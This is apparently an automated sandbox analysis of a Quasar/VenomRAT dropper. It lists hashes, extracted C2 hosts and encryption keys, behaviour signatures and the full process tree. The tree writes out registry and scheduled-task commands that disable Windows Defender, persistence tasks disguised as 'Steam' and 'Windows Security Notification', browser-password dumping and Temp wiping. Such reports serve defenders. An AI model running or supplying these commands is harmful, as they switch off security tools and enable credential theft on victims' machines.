Analysis

  • max time kernel
    148s
  • max time network
    168s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    10-03-2022 18:45

General

  • Target

    50b2e0afea299c4e8d079367ef95afeb700f9dc0dc05eee018ed2348ef38dc90.exe

  • Size

    6.2MB

  • MD5

    942b78bcd8a5aa6d10436832b1260671

  • SHA1

    e35e87e58f94e304dd0b97e9b85c6cb30146978d

  • SHA256

    50b2e0afea299c4e8d079367ef95afeb700f9dc0dc05eee018ed2348ef38dc90

  • SHA512

    89baba3a305d1d6969b68e4f63c294a861fc755f65ac6d0f5a67f7d6b7aa26cd852f78ce0441af489a70991a9cd0887388687d89efd0f1fb95fb316490d030e3

Malware Config

Extracted

Family

quasar

Version

2.1.0.0

Botnet

Windows Security Notification

C2

minecraftgaming009-61323.portmap.io:61323

Mutex

VNM_MUTEX_c2q7y2ayYutZ2XaYe7

Attributes
  • encryption_key

    1oSvdU99XhcwnNYl3rB8

  • install_name

    Windows Security Notification.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Windows Security Notification

  • subdirectory

    SubDir

Extracted

Family

quasar

Version

1.4.0.0

Botnet

Steam

C2

Minecrafthosting6969-35389.portmap.io:35389

Mutex

EAojkiVMQ0sDtyACyi

Attributes
  • encryption_key

    P5xHRD8P5ncR2T1uRpgp

  • install_name

    Steam.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Steam

  • subdirectory

    SubDir

Signatures

  • Contains code to disable Windows Defender 13 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Quasar Payload 14 IoCs
  • Quasar RAT 4 IoCs

    Quasar is an open source Remote Access Tool.

  • VenomRAT

    VenomRAT is a modified version of QuasarRAT with some added features, such as rootkit and stealer capabilites.

  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 6 IoCs
  • Executes dropped EXE 11 IoCs
  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Loads dropped DLL 12 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies system certificate store 2 TTPs 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\50b2e0afea299c4e8d079367ef95afeb700f9dc0dc05eee018ed2348ef38dc90.exe
    "C:\Users\Admin\AppData\Local\Temp\50b2e0afea299c4e8d079367ef95afeb700f9dc0dc05eee018ed2348ef38dc90.exe"
    1⤵
    • Quasar RAT
    • Suspicious use of WriteProcessMemory
    PID:956
    • C:\Users\Admin\AppData\Local\Temp\Uawisdwhppyu.exe
      "C:\Users\Admin\AppData\Local\Temp\Uawisdwhppyu.exe"
      2⤵
      • Executes dropped EXE
      PID:1772
    • C:\Users\Admin\AppData\Local\Temp\Knfk.exe
      "C:\Users\Admin\AppData\Local\Temp\Knfk.exe"
      2⤵
      • Executes dropped EXE
      • Drops startup file
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:532
      • C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe
        "C:\Users\Admin\AppData\Local\Temp\RtkBtManServ.exe" ZhXl39BlhP84+Y4kurA8wpehxxqA0X22IMYZ6Vpiqs4EpeebWszwq3L5jgvisNmyvGbyVAfjjb/WhkVRHM1jSY9bDQBPQUlA+KOt+q65oQzJt9yxASNarn9KPWpl7VpeJNaoB2sh/pMWGpfd1hNghc5haR0kkZkRiX8yULrHRxs=
        3⤵
        • Executes dropped EXE
        • Modifies system certificate store
        • Suspicious use of AdjustPrivilegeToken
        PID:1912
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
          4⤵
            PID:2324
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c compile.bat
              5⤵
                PID:2380
                • C:\Users\Admin\AppData\Local\Temp\bfsvc.exe
                  C:\Users\Admin\AppData\Local\Temp\bfsvc.exe /capture /Filename "C:\Users\Admin\AppData\Local\Temp\capture.png"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious behavior: CmdExeWriteProcessMemorySpam
                  PID:2408
            • C:\Windows\System32\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
              4⤵
                PID:2456
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c compile.bat
                  5⤵
                    PID:2496
                    • C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe
                      C:\Users\Admin\AppData\Local\Temp\snuvcdsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\Admin_Passwords.txt"
                      6⤵
                      • Executes dropped EXE
                      • Suspicious behavior: CmdExeWriteProcessMemorySpam
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2528
                • C:\Windows\System32\WScript.exe
                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\compile.vbs"
                  4⤵
                    PID:2808
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c compile.bat
                      5⤵
                        PID:2844
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dav.bat"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:360
                    • C:\Windows\SysWOW64\reg.exe
                      reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                      4⤵
                        PID:1060
                      • C:\Windows\SysWOW64\reg.exe
                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                        4⤵
                          PID:628
                        • C:\Windows\SysWOW64\reg.exe
                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                          4⤵
                            PID:1464
                          • C:\Windows\SysWOW64\reg.exe
                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                            4⤵
                              PID:1532
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                              4⤵
                                PID:1820
                              • C:\Windows\SysWOW64\reg.exe
                                reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                4⤵
                                  PID:640
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                  4⤵
                                    PID:1340
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                    4⤵
                                      PID:2032
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                      4⤵
                                        PID:1928
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                        4⤵
                                          PID:2008
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f┬┤
                                          4⤵
                                            PID:988
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                            4⤵
                                              PID:1900
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
                                              4⤵
                                                PID:852
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                4⤵
                                                  PID:736
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                  4⤵
                                                    PID:1552
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                    4⤵
                                                      PID:336
                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                      4⤵
                                                        PID:1100
                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                        4⤵
                                                          PID:1804
                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                          schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                          4⤵
                                                            PID:2012
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                            4⤵
                                                              PID:1676
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
                                                              4⤵
                                                                PID:1720
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
                                                                4⤵
                                                                  PID:1152
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                  4⤵
                                                                    PID:1532
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                    4⤵
                                                                      PID:1700
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                      4⤵
                                                                        PID:1928
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                        4⤵
                                                                          PID:1896
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                          4⤵
                                                                            PID:1104
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                            4⤵
                                                                              PID:1008
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                              4⤵
                                                                                PID:1060
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                4⤵
                                                                                • Modifies security service
                                                                                PID:1820
                                                                          • C:\Users\Admin\AppData\Local\Temp\Rtsveoxqatvjs.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\Rtsveoxqatvjs.exe"
                                                                            2⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1360
                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 1360 -s 1088
                                                                              3⤵
                                                                              • Loads dropped DLL
                                                                              • Program crash
                                                                              PID:1720
                                                                          • C:\Users\Admin\AppData\Local\Temp\Mtwgkvm.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\Mtwgkvm.exe"
                                                                            2⤵
                                                                            • Executes dropped EXE
                                                                            • Adds Run key to start application
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            • Suspicious use of WriteProcessMemory
                                                                            PID:1228
                                                                            • C:\Windows\system32\schtasks.exe
                                                                              "schtasks" /create /tn "Steam" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Mtwgkvm.exe" /rl HIGHEST /f
                                                                              3⤵
                                                                              • Creates scheduled task(s)
                                                                              PID:652
                                                                            • C:\Users\Admin\AppData\Roaming\SubDir\Steam.exe
                                                                              "C:\Users\Admin\AppData\Roaming\SubDir\Steam.exe"
                                                                              3⤵
                                                                              • Executes dropped EXE
                                                                              • Adds Run key to start application
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              • Suspicious use of WriteProcessMemory
                                                                              PID:1656
                                                                              • C:\Windows\system32\schtasks.exe
                                                                                "schtasks" /create /tn "Steam" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Steam.exe" /rl HIGHEST /f
                                                                                4⤵
                                                                                • Creates scheduled task(s)
                                                                                PID:1408
                                                                          • C:\Users\Admin\AppData\Local\Temp\Lzmicakkfbw.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\Lzmicakkfbw.exe"
                                                                            2⤵
                                                                            • Executes dropped EXE
                                                                            • Loads dropped DLL
                                                                            • Windows security modification
                                                                            • Adds Run key to start application
                                                                            • Drops file in System32 directory
                                                                            • Modifies system certificate store
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1348
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              "schtasks" /create /tn "Windows Security Notification" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Lzmicakkfbw.exe" /rl HIGHEST /f
                                                                              3⤵
                                                                              • Creates scheduled task(s)
                                                                              PID:1056
                                                                            • C:\Windows\SysWOW64\SubDir\Windows Security Notification.exe
                                                                              "C:\Windows\SysWOW64\SubDir\Windows Security Notification.exe"
                                                                              3⤵
                                                                              • Executes dropped EXE
                                                                              • Adds Run key to start application
                                                                              • Drops file in System32 directory
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:1484
                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                "schtasks" /create /tn "Windows Security Notification" /sc ONLOGON /tr "C:\Windows\SysWOW64\SubDir\Windows Security Notification.exe" /rl HIGHEST /f
                                                                                4⤵
                                                                                • Creates scheduled task(s)
                                                                                PID:1900
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                cmd /c ""C:\Users\Admin\AppData\Local\Temp\uplqX772QRKw.bat" "
                                                                                4⤵
                                                                                  PID:1676
                                                                                  • C:\Windows\SysWOW64\chcp.com
                                                                                    chcp 65001
                                                                                    5⤵
                                                                                      PID:1896
                                                                                    • C:\Windows\SysWOW64\PING.EXE
                                                                                      ping -n 10 localhost
                                                                                      5⤵
                                                                                      • Runs ping.exe
                                                                                      PID:1468
                                                                                    • C:\Windows\SysWOW64\SubDir\Windows Security Notification.exe
                                                                                      "C:\Windows\SysWOW64\SubDir\Windows Security Notification.exe"
                                                                                      5⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:2108
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1484 -s 1512
                                                                                    4⤵
                                                                                    • Loads dropped DLL
                                                                                    • Program crash
                                                                                    PID:1104
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  "powershell" Get-MpPreference -verbose
                                                                                  3⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:1252
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /k start /b del /q/f/s %TEMP%\* & exit
                                                                                  3⤵
                                                                                    PID:2664
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /K del /q/f/s C:\Users\Admin\AppData\Local\Temp\*
                                                                                      4⤵
                                                                                      • Deletes itself
                                                                                      PID:2692

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v6

                                                                              Replay Monitor

                                                                              Loading Replay Monitor...

                                                                              Downloads

                                                                              • memory/532-81-0x0000000004D80000-0x0000000004D81000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                              • memory/532-76-0x0000000001130000-0x000000000142E000-memory.dmp

                                                                                Filesize

                                                                                3.0MB

                                                                              • memory/532-80-0x0000000001130000-0x000000000142E000-memory.dmp

                                                                                Filesize

                                                                                3.0MB

                                                                              • memory/532-71-0x0000000074C20000-0x000000007530E000-memory.dmp

                                                                                Filesize

                                                                                6.9MB

                                                                              • memory/956-56-0x00000000008F0000-0x0000000000F26000-memory.dmp

                                                                                Filesize

                                                                                6.2MB

                                                                              • memory/956-57-0x000000001B9D0000-0x000000001B9D2000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                              • memory/956-55-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

                                                                                Filesize

                                                                                9.9MB

                                                                              • memory/1228-70-0x0000000000410000-0x000000000047A000-memory.dmp

                                                                                Filesize

                                                                                424KB

                                                                              • memory/1228-66-0x00000000009C0000-0x00000000009E4000-memory.dmp

                                                                                Filesize

                                                                                144KB

                                                                              • memory/1228-72-0x000000001B020000-0x000000001B022000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                              • memory/1228-69-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

                                                                                Filesize

                                                                                9.9MB

                                                                              • memory/1252-127-0x0000000000450000-0x0000000000490000-memory.dmp

                                                                                Filesize

                                                                                256KB

                                                                              • memory/1252-129-0x0000000000450000-0x0000000000490000-memory.dmp

                                                                                Filesize

                                                                                256KB

                                                                              • memory/1252-120-0x000000006EC60000-0x000000006F20B000-memory.dmp

                                                                                Filesize

                                                                                5.7MB

                                                                              • memory/1252-118-0x000000006EC60000-0x000000006F20B000-memory.dmp

                                                                                Filesize

                                                                                5.7MB

                                                                              • memory/1252-119-0x0000000000450000-0x0000000000490000-memory.dmp

                                                                                Filesize

                                                                                256KB

                                                                              • memory/1348-73-0x0000000074C20000-0x000000007530E000-memory.dmp

                                                                                Filesize

                                                                                6.9MB

                                                                              • memory/1348-78-0x0000000000C60000-0x0000000000CF6000-memory.dmp

                                                                                Filesize

                                                                                600KB

                                                                              • memory/1348-82-0x0000000004A90000-0x0000000004A91000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                              • memory/1360-74-0x0000000074C20000-0x000000007530E000-memory.dmp

                                                                                Filesize

                                                                                6.9MB

                                                                              • memory/1360-83-0x00000000763B1000-0x00000000763B3000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                              • memory/1360-85-0x00000000047F0000-0x00000000047F1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                              • memory/1360-77-0x00000000009F0000-0x00000000009F8000-memory.dmp

                                                                                Filesize

                                                                                32KB

                                                                              • memory/1484-106-0x0000000004BD0000-0x0000000004BD1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                              • memory/1484-104-0x00000000012D0000-0x0000000001366000-memory.dmp

                                                                                Filesize

                                                                                600KB

                                                                              • memory/1484-105-0x0000000074C20000-0x000000007530E000-memory.dmp

                                                                                Filesize

                                                                                6.9MB

                                                                              • memory/1656-94-0x0000000000E70000-0x0000000000E94000-memory.dmp

                                                                                Filesize

                                                                                144KB

                                                                              • memory/1656-95-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

                                                                                Filesize

                                                                                9.9MB

                                                                              • memory/1656-96-0x000000001B020000-0x000000001B022000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                              • memory/1772-79-0x0000000000BA0000-0x0000000000F52000-memory.dmp

                                                                                Filesize

                                                                                3.7MB

                                                                              • memory/1772-84-0x00000000050E0000-0x00000000050E1000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                              • memory/1772-75-0x0000000074C20000-0x000000007530E000-memory.dmp

                                                                                Filesize

                                                                                6.9MB

                                                                              • memory/1772-100-0x00000000050E5000-0x00000000050F6000-memory.dmp

                                                                                Filesize

                                                                                68KB

                                                                              • memory/1912-130-0x00000000007D0000-0x0000000000800000-memory.dmp

                                                                                Filesize

                                                                                192KB

                                                                              • memory/1912-135-0x0000000000DF0000-0x0000000000DF8000-memory.dmp

                                                                                Filesize

                                                                                32KB

                                                                              • memory/1912-90-0x00000000013C0000-0x000000000169A000-memory.dmp

                                                                                Filesize

                                                                                2.9MB

                                                                              • memory/1912-91-0x000000001B4A0000-0x000000001B7E2000-memory.dmp

                                                                                Filesize

                                                                                3.3MB

                                                                              • memory/1912-97-0x0000000000250000-0x0000000000256000-memory.dmp

                                                                                Filesize

                                                                                24KB

                                                                              • memory/1912-99-0x000000001B280000-0x000000001B282000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                              • memory/1912-107-0x00000000009E0000-0x0000000000A90000-memory.dmp

                                                                                Filesize

                                                                                704KB

                                                                              • memory/1912-89-0x000007FEF58C0000-0x000007FEF62AC000-memory.dmp

                                                                                Filesize

                                                                                9.9MB

                                                                              • memory/1912-134-0x000000001BEF0000-0x000000001BF92000-memory.dmp

                                                                                Filesize

                                                                                648KB

                                                                              • memory/1912-133-0x0000000000DB0000-0x0000000000DE2000-memory.dmp

                                                                                Filesize

                                                                                200KB

                                                                              • memory/1912-132-0x0000000000800000-0x000000000081A000-memory.dmp

                                                                                Filesize

                                                                                104KB

                                                                              • memory/1912-131-0x00000000005A0000-0x00000000005AC000-memory.dmp

                                                                                Filesize

                                                                                48KB

                                                                              • memory/2108-126-0x0000000004A80000-0x0000000004A81000-memory.dmp

                                                                                Filesize

                                                                                4KB

                                                                              • memory/2108-125-0x0000000074C20000-0x000000007530E000-memory.dmp

                                                                                Filesize

                                                                                6.9MB

                                                                              • memory/2324-137-0x000007FEFC241000-0x000007FEFC243000-memory.dmp

                                                                                Filesize

                                                                                8KB